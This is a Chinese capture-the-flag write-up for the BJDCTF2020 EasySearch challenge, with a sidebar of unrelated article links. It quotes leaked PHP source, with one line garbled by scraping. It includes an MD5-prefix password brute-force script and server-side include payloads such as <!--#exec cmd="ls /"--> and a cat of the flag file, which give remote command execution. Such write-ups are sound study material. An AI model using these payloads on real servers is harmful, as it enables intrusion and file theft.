当前位置:网站首页>[BJDCTF2020]EasySearch
[BJDCTF2020]EasySearch
2022-08-05 03:52:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,尝试了弱口令 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
只要密码的md5值的前6位为6d0bc1即可登陆成功
参考爆破密码脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#获取摘要值
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break

得到密码为 2020666
接着看到shtml页面
SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:
访问该页面:
得到登陆信息
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->

根目录没有,那查看当前目录:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- How to find all fields with empty data in sql
- Hard power or soft power, which is more important to testers?
- 从企业的视角来看,数据中台到底意味着什么?
- 新人如何入门和学习软件测试?
- 七夕节代码表白
- Solana NFT开发指南
- Industry Status?Why do Internet companies prefer to spend 20k to recruit people rather than raise their salary to retain old employees~
- 达梦8数据库导出导入
- DEJA_VU3D - Cesium功能集 之 057-百度地图纠偏
- DEJA_VU3D - Cesium功能集 之 058-高德地图纠偏
猜你喜欢

多御安全浏览器新版下载 | 功能优秀性能出众

如何解决复杂的分销分账问题?
![[Solved] Unity Coroutine coroutine is not executed effectively](/img/ab/035ef004a561fb98d3dd1d7d8b5618.png)
[Solved] Unity Coroutine coroutine is not executed effectively
![[论文笔记] MapReduce: Simplified Data Processing on Large Clusters](/img/89/8adef42b0cfd154e6fa7205afaeade.png)
[论文笔记] MapReduce: Simplified Data Processing on Large Clusters

36-Jenkins-Job Migration

Kubernetes 网络入门

Event parse tree Drain3 usage and explanation

今年七夕,「情蔬」比礼物更有爱

UE4 通过互动(键盘按键)开门

Leading the highland of digital medicine, Zhongshan Hospital explores to create a "new paradigm" for future hospitals
随机推荐
UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)
MySql的索引学习和使用;(本人觉得足够详细)
.NET Application -- Helloworld (C#)
Dive into how it works together by simulating Vite
结构体初解
Spark Basics [Introduction, Getting Started with WordCount Cases]
Swing有几种常用的事件处理方式?如何监听事件?
There are several common event handling methods in Swing?How to listen for events?
包拉链不可用,但是是被另一个包。
阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
How to Add Category-Specific Widgets in WordPress
[TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
public static <T> List<T> asList(T... a) 原型是怎么回事?
Package zip is not available, but is referred to by another package.
从企业的视角来看,数据中台到底意味着什么?
ASP.NET application--Hello World
运维监控系统之Open-Falcon
Common open source databases under Linux, how many do you know?
[GYCTF2020]EasyThinking
第一次性能测试实践,有“亿”点点紧张